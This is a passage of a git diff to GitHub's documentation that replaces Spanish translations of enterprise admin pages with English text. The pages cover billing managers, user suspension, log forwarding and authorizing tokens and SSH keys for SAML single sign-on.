information, see "[Viewing people in your enterprise](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise)." For more information about organization-level permissions, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)." -Las personas con acceso de colaborador externo a los repositorios que pertenecen a tu organización también se listan en la pestaña de "Personas" de tu empresa, pero no son miembros empresariales y no tienen ningún tipo de acceso a la empresa. For more information about outside collaborators, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)." +People with outside collaborator access to repositories owned by your organization are also listed in your enterprise's People tab, but are not enterprise members and do not have any access to the enterprise. For more information about outside collaborators, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)." {% ifversion ghec %} -## Gerente de facturación +## Billing manager -Los gerentes de facturación solo tienen acceso a la configuración de facturación de tu empresa. Los gerentes de facturación de tu empresa pueden: -- Ver y administrar las licencias de usuario, {% data variables.large_files.product_name_short %} los paquetes y otros parámetros de facturación -- Ver una lista de gerentes de facturación -- Agregar o eliminar otros gerentes de facturación +Billing managers only have access to your enterprise's billing settings. Billing managers for your enterprise can: +- View and manage user licenses, {% data variables.large_files.product_name_short %} packs and other billing settings +- View a list of billing managers +- Add or remove other billing managers -Los gerentes de facturación solo consumirán una licencia si son propietarios o miembros de por lo menos una organización dentro de la empresa. Los gerentes de facturación no tienen acceso a las organizaciones o repositorios de tu empresa y no pueden agregar o eliminar propietarios de la misma. Los gerentes de facturación deben tener una cuenta personal en {% data variables.product.prodname_dotcom %}. +Billing managers will only consume a license if they are an owner or member of at least one organization within the enterprise. Billing managers do not have access to organizations or repositories in your enterprise, and cannot add or remove enterprise owners. Billing managers must have a personal account on {% data variables.product.prodname_dotcom %}. -## Acerca de los derechos de soporte +## About support entitlements {% data reusables.enterprise-accounts.support-entitlements %} -## Leer más +## Further reading -- "[Acerca de las cuentas de empresa](/admin/overview/about-enterprise-accounts)" +- "[About enterprise accounts](/admin/overview/about-enterprise-accounts)" {% endif %} diff --git a/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md index 27d061172a..08148b0c9f 100644 --- a/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md +++ b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md @@ -1,5 +1,5 @@ --- -title: Suspender y anular suspensión de usuarios +title: Suspending and unsuspending users redirect_from: - /enterprise/admin/articles/suspending-a-user/ - /enterprise/admin/articles/unsuspending-a-user/ @@ -8,7 +8,7 @@ redirect_from: - /enterprise/admin/articles/suspending-and-unsuspending-users/ - /enterprise/admin/user-management/suspending-and-unsuspending-users - /admin/user-management/suspending-and-unsuspending-users -intro: 'Si un usuario se va o se traslada a un lugar diferente de la empresa, deberías eliminar o modificar su posibilidad de acceder a {% data variables.product.product_location %}.' +intro: 'If a user leaves or moves to a different part of the company, you should remove or modify their ability to access {% data variables.product.product_location %}.' versions: ghes: '*' type: how_to @@ -17,78 +17,87 @@ topics: - Enterprise - Security - User account -shortTitle: Administrar la suspensión de usuarios +shortTitle: Manage user suspension --- +If employees leave the company, you can suspend their {% data variables.product.prodname_ghe_server %} accounts to open up user licenses in your {% data variables.product.prodname_enterprise %} license while preserving the issues, comments, repositories, gists, and other data they created. Suspended users cannot sign into your instance, nor can they push or pull code. -Puedes suspender las cuentas de usuario de {% data variables.product.prodname_ghe_server %} de aquellos que abandonen la compañía para abrir licencias de usuario en tu licencia de {% data variables.product.prodname_enterprise %} preservando las propuestas, comentarios, repositorios, gists y otros datos que hayan creado. Los usuarios suspendidos no pueden iniciar sesión en tu instancia, y no pueden subir ni extraer un código. - -Cuando suspendes un usuario, la modificación entra en efecto de inmediato sin notificar al usuario. Si el usuario intenta extraer o subir un repositorio, recibirá el siguiente error: +When you suspend a user, the change takes effect immediately with no notification to the user. If the user attempts to pull or push to a repository, they'll receive this error: ```shell $ git clone git@[hostname]:john-doe/test-repo.git Cloning into 'test-repo'... -ERROR: Tu cuenta está suspendida. Consulta a tu administrador de instalación. -fatal: El extremo remoto colgó inesperadamente +ERROR: Your account is suspended. Please check with your installation administrator. +fatal: The remote end hung up unexpectedly ``` -Antes de suspender administradores del sitio, debes degradarlos a usuarios normales. Para obtener más información, consulta "[Promover o degradar a un administrador del sitio](/enterprise/admin/user-management/promoting-or-demoting-a-site-administrator)." +Before suspending site administrators, you must demote them to regular users. For more information, see "[Promoting or demoting a site administrator](/enterprise/admin/user-management/promoting-or-demoting-a-site-administrator)." {% tip %} -**Nota:** Si [la sincronización LDAP está activada](/enterprise/{{ page.version }}/admin/guides/user-management/using-ldap#enabling-ldap-sync) para {% data variables.product.product_location %}, los usuarios son suspendidos automáticamente cuando son eliminados del servidor de directorios LDAP. Cuando la sincronización LDAP está activada para tu instancia, los métodos de suspensión de usuario normal están desactivados. +**Note:** If [LDAP Sync is enabled](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync) for {% data variables.product.product_location %}, users are automatically suspended when they're removed from the LDAP directory server. When LDAP Sync is enabled for your instance, normal user suspension methods are disabled. {% endtip %} -## Suspender un usuario desde el tablero de administrador de usuarios +## Suspending a user from the user admin dashboard {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.search-user %} {% data reusables.enterprise_site_admin_settings.click-user %} {% data reusables.enterprise_site_admin_settings.admin-top-tab %} {% data reusables.enterprise_site_admin_settings.admin-tab %} -5. En "Suspensión de cuenta", en el cuadro rojo de Zona de peligro, haz clic en **Suspender**. ![Botón Suspender](/assets/images/enterprise/site-admin-settings/suspend.png) -6. Indica un motivo para suspender al usuario. ![Motivo de suspensión](/assets/images/enterprise/site-admin-settings/suspend-reason.png) +5. Under "Account suspension," in the red Danger Zone box, click **Suspend**. +![Suspend button](/assets/images/enterprise/site-admin-settings/suspend.png) +6. Provide a reason to suspend the user. +![Suspend reason](/assets/images/enterprise/site-admin-settings/suspend-reason.png) -## Anular la suspensión de un usuario desde el tablero de administrador de usuarios +## Unsuspending a user from the user admin dashboard -Como cuando se suspende un usuario, anular la suspensión entra en efecto de inmediato. El usuario no será notificado. +As when suspending a user, unsuspending a user takes effect immediately. The user will not be notified. {% data reusables.enterprise_site_admin_settings.access-settings %} -3. En la barra lateral de la izquierda, haz clic en **Usuarios suspendidos**. ![Pestaña Usuarios suspendidos](/assets/images/enterprise/site-admin-settings/user/suspended-users-tab.png) -2. Haz clic en el nombre de la cuenta de usuario de la que quieres anular la suspensión. ![Usuario suspendido](/assets/images/enterprise/site-admin-settings/user/suspended-user.png) +3. In the left sidebar, click **Suspended users**. +![Suspended users tab](/assets/images/enterprise/site-admin-settings/user/suspended-users-tab.png) +2. Click the name of the user account that you would like to unsuspend. +![Suspended user](/assets/images/enterprise/site-admin-settings/user/suspended-user.png) {% data reusables.enterprise_site_admin_settings.admin-top-tab %} {% data reusables.enterprise_site_admin_settings.admin-tab %} -4. En "Suspensión de cuenta", en el cuadro rojo de Zona de peligro, haz clic en **Anular suspensión**. ![Botón Anular suspensión](/assets/images/enterprise/site-admin-settings/unsuspend.png) -5. Indica un motivo para anular la suspensión del usuario. ![Motivo de anulación de suspensión](/assets/images/enterprise/site-admin-settings/unsuspend-reason.png) +4. Under "Account suspension," in the red Danger Zone box, click **Unsuspend**. +![Unsuspend button](/assets/images/enterprise/site-admin-settings/unsuspend.png) +5. Provide a reason to unsuspend the user. +![Unsuspend reason](/assets/images/enterprise/site-admin-settings/unsuspend-reason.png) -## Suspender un usuario desde la línea de comandos +## Suspending a user from the command line {% data reusables.enterprise_installation.ssh-into-instance %} -2. Ejecuta [ghe-user-suspend](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-user-suspend) con el nombre de usuario a suspender. +2. Run [ghe-user-suspend](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-user-suspend) with the username to suspend. ```shell $ ghe-user-suspend username ``` -## Crear un mensaje personalizado para usuarios suspendidos +## Creating a custom message for suspended users -Puedes crear un mensaje personalizado que los usuarios suspendidos verán cuando intenten iniciar sesión. +You can create a custom message that suspended users will see when attempting to sign in. {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.messages-tab %} -5. Haz clic en **Agregar mensaje**. ![Agregar mensaje](/assets/images/enterprise/site-admin-settings/add-message.png) -6. Escribe tu mensaje en el cuadro **Mensaje para usuario suspendido**. Puedes escribir Markdown o usar la barra de herramientas Markdown para diseñar tu mensaje. ![Mensaje para usuario suspendido](/assets/images/enterprise/site-admin-settings/suspended-user-message.png) -7. Haz clic en el botón **Vista previa** en el campo **Mensaje para usuario suspendido** para ver el mensaje representado. ![Botón Vista previa](/assets/images/enterprise/site-admin-settings/suspended-user-message-preview-button.png) -8. Revisar el mensaje presentado. ![Mensaje presentado de usuario suspendido](/assets/images/enterprise/site-admin-settings/suspended-user-message-rendered.png) +5. Click **Add message**. +![Add message](/assets/images/enterprise/site-admin-settings/add-message.png) +6. Type your message into the **Suspended user message** box. You can type Markdown, or use the Markdown toolbar to style your message. +![Suspended user message](/assets/images/enterprise/site-admin-settings/suspended-user-message.png) +7. Click the **Preview** button under the **Suspended user message** field to see the rendered message. +![Preview button](/assets/images/enterprise/site-admin-settings/suspended-user-message-preview-button.png) +8. Review the rendered message. +![Suspended user message rendered](/assets/images/enterprise/site-admin-settings/suspended-user-message-rendered.png) {% data reusables.enterprise_site_admin_settings.save-changes %} -## Anular la suspensión de un usuario desde la línea de comandos +## Unsuspending a user from the command line {% data reusables.enterprise_installation.ssh-into-instance %} -2. Ejecuta [ghe-user-suspend](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-user-suspend) con el nombre de usuario a anular la suspensión. +2. Run [ghe-user-unsuspend](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-user-unsuspend) with the username to unsuspend. ```shell $ ghe-user-unsuspend username ``` -## Leer más -- "[Suspender a un usuario](/rest/reference/enterprise-admin#suspend-a-user)" +## Further reading +- "[Suspend a user](/rest/reference/enterprise-admin#suspend-a-user)" diff --git a/translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/log-forwarding.md b/translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/log-forwarding.md index 4d05f20a0e..cc9bf504b9 100644 --- a/translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/log-forwarding.md +++ b/translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/log-forwarding.md @@ -1,6 +1,6 @@ --- -title: Redireccionamiento de registro -intro: '{% data variables.product.product_name %} utiliza `syslog-ng` para reenviar bitácoras de {% ifversion ghes %}sistema{% elsif ghae %}Git{% endif %} y de aplicaciones al servidor que especifiques.' +title: Log forwarding +intro: '{% data variables.product.product_name %} uses `syslog-ng` to forward {% ifversion ghes %}system{% elsif ghae %}Git{% endif %} and application logs to the server you specify.' redirect_from: - /enterprise/admin/articles/log-forwarding/ - /enterprise/admin/installation/log-forwarding @@ -18,31 +18,42 @@ topics: - Security --- -Es compatible cualquier sistema de recopilación de registro que admita los flujos de registro syslog-style (p. ej., [Logstash](http://logstash.net/) y [Splunk](http://docs.splunk.com/Documentation/Splunk/latest/Data/Monitornetworkports)). +## About log forwarding -## Habilitar redireccionamiento de registro +Any log collection system that supports syslog-style log streams is supported (e.g., [Logstash](http://logstash.net/) and [Splunk](http://docs.splunk.com/Documentation/Splunk/latest/Data/Monitornetworkports)). + +When you enable log forwarding, you must upload a CA certificate to encrypt communications between syslog endpoints. Your appliance and the remote syslog server will perform two-way SSL, each providing a certificate to the other and validating the certificate which is received. + +## Enabling log forwarding {% ifversion ghes %} -1. En la página de parámetros {% data variables.enterprise.management_console %}, en la barra lateral izquierda, haz clic en **(Monitoring) Revisar**. -1. Selecciona **Enable log forwarding (Habilitar redireccionamiento de registro)**. -1. En el campo **Server address (Dirección del servidor)**, escribe la dirección del servidor al que desees redireccionar los registros. Puedes especificar varias direcciones en una lista de separación por coma. -1. En el menú desplegable de Protocolo, selecciona el protocolo a utilizar para que se comunique con el servidor de registro. El protocolo se aplicará a todos los destinos de registro especificados. -1. Selecciona **Enable TLS (Habilitar TLS)**. -1. Haz clic en **Choose File (Elegir el archivo)** y elige un certificado CA para encriptar la comunicación entre puntos de conexión syslog. Se validará la cadena de certificado completa, y debe terminar en un certificado raíz. Para obtener más información, consulta [Opciones TLS en la documentación de syslog-ng](https://support.oneidentity.com/technical-documents/syslog-ng-open-source-edition/3.16/administration-guide/56#TOPIC-956599). +1. On the {% data variables.enterprise.management_console %} settings page, in the left sidebar, click **Monitoring**. +1. Select **Enable log forwarding**. +1. In the **Server address** field, type the address of the server to which you want to forward logs. You can specify multiple addresses in a comma-separated list. +1. In the Protocol drop-down menu, select the protocol to use to communicate with the log server. The protocol will apply to all specified log destinations. +1. Optionally, select **Enable TLS**. We recommend enabling TLS according to your local security policies, especially if there are untrusted networks between the appliance and any remote log servers. +1. To encrypt communication between syslog endpoints, click **Choose File** and choose a CA certificate for the remote syslog server. You should upload a CA bundle containing a concatenation of the certificates of the CAs involved in signing the certificate of the remote log server. The entire certificate chain will be validated, and must terminate in a root certificate. For more information, see [TLS options in the syslog-ng documentation](https://support.oneidentity.com/technical-documents/syslog-ng-open-source-edition/3.16/administration-guide/56#TOPIC-956599). {% elsif ghae %} {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} -1. Debajo de {% octicon "gear" aria-label="The Settings gear" %} **Configuración**, da clic en **Reenvío de bitácoras**. ![Pestaña de reenvío de bitácoras](/assets/images/enterprise/business-accounts/log-forwarding-tab.png) -1. Debajo de "Reenvío de bitácoras", selecciona **Habilitar el reenvío de bitácoras**. ![Casilla de verificación para habilitar el reenvío de bitácoras](/assets/images/enterprise/business-accounts/enable-log-forwarding-checkbox.png) -1. Debajo de "Dirección del servidor", ingresa la dirección del servidor al cual quieras reenviar las bitácoras. ![Campo de dirección del servidor](/assets/images/enterprise/business-accounts/server-address-field.png) -1. Utiliza el menú desplegable de "Protocolo", y selecciona un protocolo. ![Menú desplegable del protocolo](/assets/images/enterprise/business-accounts/protocol-drop-down-menu.png) -1. Opcionalmente, para habilitar la comunicación cifrada con TLS entre las terminales de syslog, selecciona **Habilitar TLS**. ![Casilla de verificación para habilitar TLS](/assets/images/enterprise/business-accounts/enable-tls-checkbox.png) -1. Debajo de "Certificado público", pega tu certificado x509. ![Caja de texto para el certificado público](/assets/images/enterprise/business-accounts/public-certificate-text-box.png) -1. Haz clic en **Save ** (guardar). ![Botón de guardar para el reenvío de bitácoras](/assets/images/enterprise/business-accounts/save-button-log-forwarding.png) +1. Under {% octicon "gear" aria-label="The Settings gear" %} **Settings**, click **Log forwarding**. + ![Log forwarding tab](/assets/images/enterprise/business-accounts/log-forwarding-tab.png) +1. Under "Log forwarding", select **Enable log forwarding**. + ![Checkbox to enable log forwarding](/assets/images/enterprise/business-accounts/enable-log-forwarding-checkbox.png) +1. Under "Server address", enter the address of the server you want to forward logs to. + ![Server address field](/assets/images/enterprise/business-accounts/server-address-field.png) +1. Use the "Protocol" drop-down menu, and select a protocol. + ![Protocol drop-down menu](/assets/images/enterprise/business-accounts/protocol-drop-down-menu.png) +1. Optionally, to enable TLS encrypted communication between syslog endpoints, select **Enable TLS**. + ![Checkbox to enable TLS](/assets/images/enterprise/business-accounts/enable-tls-checkbox.png) +1. Under "Public certificate", paste your x509 certificate. + ![Text box for public certificate](/assets/images/enterprise/business-accounts/public-certificate-text-box.png) +1. Click **Save**. + ![Save button for log forwarding](/assets/images/enterprise/business-accounts/save-button-log-forwarding.png) {% endif %} {% ifversion ghes %} -## Solución de problemas +## Troubleshooting -Si encuentras problemas con el redireccionamiento de registro, contacta a {% data variables.contact.contact_ent_support %} y adjunta el archivo de salida de `http(s)://[hostname]/setup/diagnostics` to your email. +If you run into issues with log forwarding, contact {% data variables.contact.contact_ent_support %} and attach the output file from `http(s)://[hostname]/setup/diagnostics` to your email. {% endif %} diff --git a/translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md b/translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md index 9ebf5cf791..2cd4588167 100644 --- a/translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md +++ b/translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md @@ -1,5 +1,5 @@ --- -title: Acerca de la autenticación con el inicio de sesión único de SAML +title: About authentication with SAML single sign-on intro: 'You can access {% ifversion ghae %}{% data variables.product.product_location %}{% elsif fpt %}an organization that uses SAML single sign-on (SSO){% endif %} by authenticating {% ifversion ghae %}with SAML single sign-on (SSO) {% endif %}through an identity provider (IdP).{% ifversion fpt or ghec %} After you authenticate with the IdP successfully from {% data variables.product.product_name %}, you must authorize any personal access token, SSH key, or {% data variables.product.prodname_oauth_app %} you would like to access the organization''s resources.{% endif %}' product: '{% data reusables.gated-features.saml-sso %}' redirect_from: @@ -12,51 +12,50 @@ versions: ghec: '*' topics: - SSO -shortTitle: Inicio de sesión único de SAML +shortTitle: SAML single sign-on --- - -## Acerca de la autenticación con el SSO de SAML +## About authentication with SAML SSO {% ifversion ghae %} -El SSO de SAML permite que un propietario de empresa controle centralmente y asegure el acceso a {% data variables.product.product_name %} desde un IdP de SAML. Cuando visitas {% data variables.product.product_location %} en un buscador, {% data variables.product.product_name %} te redireccionará a tu IdP para autenticarte. Después de que te autenticas exitosamente con una cuenta en el IdP, éste te redirigirá de vuelta a {% data variables.product.product_location %}. {% data variables.product.product_name %} valida la respuesta de tu IdP y luego te otorga el acceso. +SAML SSO allows an enterprise owner to centrally control and secure access to {% data variables.product.product_name %} from a SAML IdP. When you visit {% data variables.product.product_location %} in a browser, {% data variables.product.product_name %} will redirect you to your IdP to authenticate. After you successfully authenticate with an account on the IdP, the IdP redirects you back to {% data variables.product.product_location %}. {% data variables.product.product_name %} validates the response from your IdP, then grants access. {% data reusables.saml.you-must-periodically-authenticate %} -Si nopuedes acceder a {% data variables.product.product_name %}, contacta al propietario o al administrador local de tu empresa para {% data variables.product.product_name %}. Puede que seas capaz de ubicar la información de contacto para tu empresa dando clic en **Soporte** en la parte inferior de cualquier página en {% data variables.product.product_name %}. {% data variables.product.company_short %} y {% data variables.contact.github_support %} carecen de acceso a tu IdP y no pueden solucionar problemas de autenticación. +If you can't access {% data variables.product.product_name %}, contact your local enterprise owner or administrator for {% data variables.product.product_name %}. You may be able to locate contact information for your enterprise by clicking **Support** at the bottom of any page on {% data variables.product.product_name %}. {% data variables.product.company_short %} and {% data variables.contact.github_support %} do not have access to your IdP, and cannot troubleshoot authentication problems. {% endif %} {% ifversion fpt or ghec %} -{% data reusables.saml.dotcom-saml-explanation %} Los propietarios de la organización pueden invitar a tu cuenta de usuario en {% data variables.product.prodname_dotcom %} para unirse a la organización que utiliza SAML SSO, lo cual te permite contribuir con ella y mantener tu identidad actual y las contribuciones con {% data variables.product.prodname_dotcom %}. +{% data reusables.saml.dotcom-saml-explanation %} Organization owners can invite your user account on {% data variables.product.prodname_dotcom %} to join their organization that uses SAML SSO, which allows you to contribute to the organization and retain your existing identity and contributions on {% data variables.product.prodname_dotcom %}. -Si eres miembro de una {% data variables.product.prodname_emu_enterprise %}, utilizarás una cuenta nueva que se aprovisionará para ti. {% data reusables.enterprise-accounts.emu-more-info-account %} +If you're a member of an {% data variables.product.prodname_emu_enterprise %}, you will use a new account that is provisioned for you. {% data reusables.enterprise-accounts.emu-more-info-account %} -Cuando accedes a recurso dentro de la organización que utiliza SAML SSO, , {% data variables.product.prodname_dotcom %} te redirigirá a el SAML IdP de la organización para autenticarte. Después de que te autentiques exitosamente con tu cuenta en el IdP, este te redirigirá de vuelta a {% data variables.product.prodname_dotcom %}, en donde podrás acceder a los recursos de la organización. +When you access resources within an organization that uses SAML SSO, {% data variables.product.prodname_dotcom %} will redirect you to the organization's SAML IdP to authenticate. After you successfully authenticate with your account on the IdP, the IdP redirects you back to {% data variables.product.prodname_dotcom %}, where you can access the organization's resources. {% data reusables.saml.outside-collaborators-exemption %} -Si te has autenticado recientemente con tu SAML IdP de la organización en tu navegador, estás autorizado automáticamente cuando accedas a la {% data variables.product.prodname_dotcom %} organización que utiliza SAML SSO. Si no te has autenticado recientemente con el SAML IdP de tu organización en tu navegador, debes hacerlo en el SAML IdP antes de acceder a la organización. +If you have recently authenticated with your organization's SAML IdP in your browser, you are automatically authorized when you access a {% data variables.product.prodname_dotcom %} organization that uses SAML SSO. If you haven't recently authenticated with your organization's SAML IdP in your browser, you must authenticate at the SAML IdP before you can access the organization. {% data reusables.saml.you-must-periodically-authenticate %} -Para usar la API o Git en la línea de comandos para acceder a contenido protegido en una organización que usa SAML SSO, necesitarás usar un token de acceso personal autorizado a través de HTTPS o una clave SSH autorizada. +To use the API or Git on the command line to access protected content in an organization that uses SAML SSO, you will need to use an authorized personal access token over HTTPS or an authorized SSH key. -Si no tienes un token de acceso personal ni una clave SSH, puedes crear un token de acceso personal para la línea de comandos o generar una clave SSH nueva. Para obtener más información, consulta la sección "[Crear un token de acceso personal](/github/authenticating-to-github/creating-a-personal-access-token)" o "[Generar una nueva llave SSH y añadirla al agente de ssh](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)". +If you don't have a personal access token or an SSH key, you can create a personal access token for the command line or generate a new SSH key. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)" or "[Generating a new SSH key and adding it to the ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)." -Para utilizar un token de acceso personal existente o nuevo o una llave SSH con la organización que utiliza o requiere el SSO de SAML, necesitarás autorizar el token o la llave SSH para que se utilicen con una organización que maneje el SSO de SAML. Para obtener más información, consulta "[Autorizar un token de acceso personal para utilizarlo con el inicio de sesión único de SAML](/articles/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)" o "[Autorizar una llave SSH para su uso con el inicio de sesión único de SAML](/articles/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)." +To use a new or existing personal access token or SSH key with an organization that uses or enforces SAML SSO, you will need to authorize the token or authorize the SSH key for use with a SAML SSO organization. For more information, see "[Authorizing a personal access token for use with SAML single sign-on](/articles/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)" or "[Authorizing an SSH key for use with SAML single sign-on](/articles/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)." -## Acerca de {% data variables.product.prodname_oauth_apps %} y del SSO de SAML +## About {% data variables.product.prodname_oauth_apps %} and SAML SSO -Debes tener una sesión de SAML activa cada vez que autorices a una {% data variables.product.prodname_oauth_app %} para que acceda a una organización que utilice o requiera el SSO de SAML. +You must have an active SAML session each time you authorize an {% data variables.product.prodname_oauth_app %} to access an organization that uses or enforces SAML SSO. -Después de que un propietario de empresa u organización habilite o requiera el SSO de SAML para su organización, debes volver a autorizar a cualquier {% data variables.product.prodname_oauth_app %} que hayas autorizado antes para que acceda a dicha organización. Para ver las {% data variables.product.prodname_oauth_apps %} que autorizaste o para volver a autorizar alguna {% data variables.product.prodname_oauth_app %}, visita tu [página de {% data variables.product.prodname_oauth_apps %}](https://github.com/settings/applications). +After an enterprise or organization owner enables or enforces SAML SSO for an organization, you must reauthorize any {% data variables.product.prodname_oauth_app %} that you previously authorized to access the organization. To see the {% data variables.product.prodname_oauth_apps %} you've authorized or reauthorize an {% data variables.product.prodname_oauth_app %}, visit your [{% data variables.product.prodname_oauth_apps %} page](https://github.com/settings/applications). {% endif %} -## Leer más +## Further reading {% ifversion fpt or ghec %}- "[About identity and access management with SAML single sign-on](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)"{% endif %} -{% ifversion ghae %}- "[Acerca de la identidad y administración de accesos para tu empresa](/admin/authentication/about-identity-and-access-management-for-your-enterprise)"{% endif %} +{% ifversion ghae %}- "[About identity and access management for your enterprise](/admin/authentication/about-identity-and-access-management-for-your-enterprise)"{% endif %} diff --git a/translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md b/translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md index 6d5e7e422c..3957e660c3 100644 --- a/translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md +++ b/translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md @@ -1,6 +1,6 @@ --- -title: Autorizar un token de acceso personal para usar con un inicio de sesión único de SAML -intro: 'Para usar un token de acceso personal con una organización que usa el inicio de sesión único de SAML (SSO), primer debes autorizar el token.' +title: Authorizing a personal access token for use with SAML single sign-on +intro: 'To use a personal access token with an organization that uses SAML single sign-on (SSO), you must first authorize the token.' redirect_from: - /articles/authorizing-a-personal-access-token-for-use-with-a-saml-single-sign-on-organization/ - /articles/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on @@ -11,19 +11,22 @@ versions: ghec: '*' topics: - SSO -shortTitle: PAT con SAML +shortTitle: PAT with SAML --- +You can authorize an existing personal access token, or [create a new personal access token](/github/authenticating-to-github/creating-a-personal-access-token) and then authorize it. -Puedes autorizar un token de acceso personal existente, o [crear un nuevo token de acceso personal](/github/authenticating-to-github/creating-a-personal-access-token) y luego autorizarlo. +{% data reusables.saml.authorized-creds-info %} {% data reusables.user_settings.access_settings %} {% data reusables.user_settings.developer_settings %} {% data reusables.user_settings.personal_access_tokens %} -3. Junto al token que deseas autorizar, haz clic en **Enable SSO** (Habilitar SSO) o **Disable SSO** (Deshabilitar SSO). ![Botón para autorizar el token SSO](/assets/images/help/settings/sso-allowlist-button.png) -4. Busca la organización para la que deseas autorizar el token de acceso. -4. Da clic en **Autorizar**. ![Botón para autorizar el token](/assets/images/help/settings/token-authorize-button.png) +3. Next to the token you'd like to authorize, click **Enable SSO** or **Disable SSO**. + ![SSO token authorize button](/assets/images/help/settings/sso-allowlist-button.png) +4. Find the organization you'd like to authorize the access token for. +4. Click **Authorize**. + ![Token authorize button](/assets/images/help/settings/token-authorize-button.png) -## Leer más +## Further reading -- "[Crear un token de acceso personal](/github/authenticating-to-github/creating-a-personal-access-token)" -- "[Acerca de la autenticación con inicio de sesión único de SAML](/articles/about-authentication-with-saml-single-sign-on)" +- "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)" +- "[About authentication with SAML single sign-on](/articles/about-authentication-with-saml-single-sign-on)" diff --git a/translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md b/translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md index e1752faebf..4a9c0b3218 100644 --- a/translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md +++ b/translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md @@ -1,6 +1,6 @@ --- -title: Autorizar una clave SSH para usar con un inicio único de SAML -intro: 'Para usar una clave SSH con una organización que usa un inicio de sesión único (SSO) de SAML, primero debes autorizar la clave.' +title: Authorizing an SSH key for use with SAML single sign-on +intro: 'To use an SSH key with an organization that uses SAML single sign-on (SSO), you must first authorize the key.' redirect_from: - /articles/authorizing-an-ssh-key-for-use-with-a-saml-single-sign-on-organization/ - /articles/authorizing-an-ssh-key-for-use-with-saml-single-sign-on @@ -11,24 +11,27 @@ versions: ghec: '*' topics: - SSO -shortTitle: Llave SSH con SAML +shortTitle: SSH Key with SAML --- +You can authorize an existing SSH key, or create a new SSH key and then authorize it. For more information about creating a new SSH key, see "[Generating a new SSH key and adding it to the ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)." -Puedes autorizar una clave SSH existente, o crear una nueva clave SSH, y luego autorizarla. Para más información sobre la creación de una nueva clave SSH, consulta "[Generar una nueva clave SSH y agregarla al ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)". +{% data reusables.saml.authorized-creds-info %} {% note %} -**Nota:** Si tu autorización de clave SSH es revocada por una organización, no podrás volver a autorizar la misma clave. Deberás crear una nueva clave SSH y autorizarla. Para más información sobre la creación de una nueva clave SSH, consulta "[Generar una nueva clave SSH y agregarla al ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)". +**Note:** If your SSH key authorization is revoked by an organization, you will not be able to reauthorize the same key. You will need to create a new SSH key and authorize it. For more information about creating a new SSH key, see "[Generating a new SSH key and adding it to the ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)." {% endnote %} {% data reusables.user_settings.access_settings %} {% data reusables.user_settings.ssh %} -3. Junto a la clave SSH que deseas autorizar, haz clic en **Enable SSO** (Habilitar SSO) o **Disable SSO** (Deshabilitar SSO). ![Botón para autorizar el token SSO](/assets/images/help/settings/ssh-sso-button.png) -4. Busca la organización para la que deseas autorizar la clave SSH. -5. Da clic en **Autorizar**. ![Botón para autorizar el token](/assets/images/help/settings/ssh-sso-authorize.png) +3. Next to the SSH key you'd like to authorize, click **Enable SSO** or **Disable SSO**. +![SSO token authorize 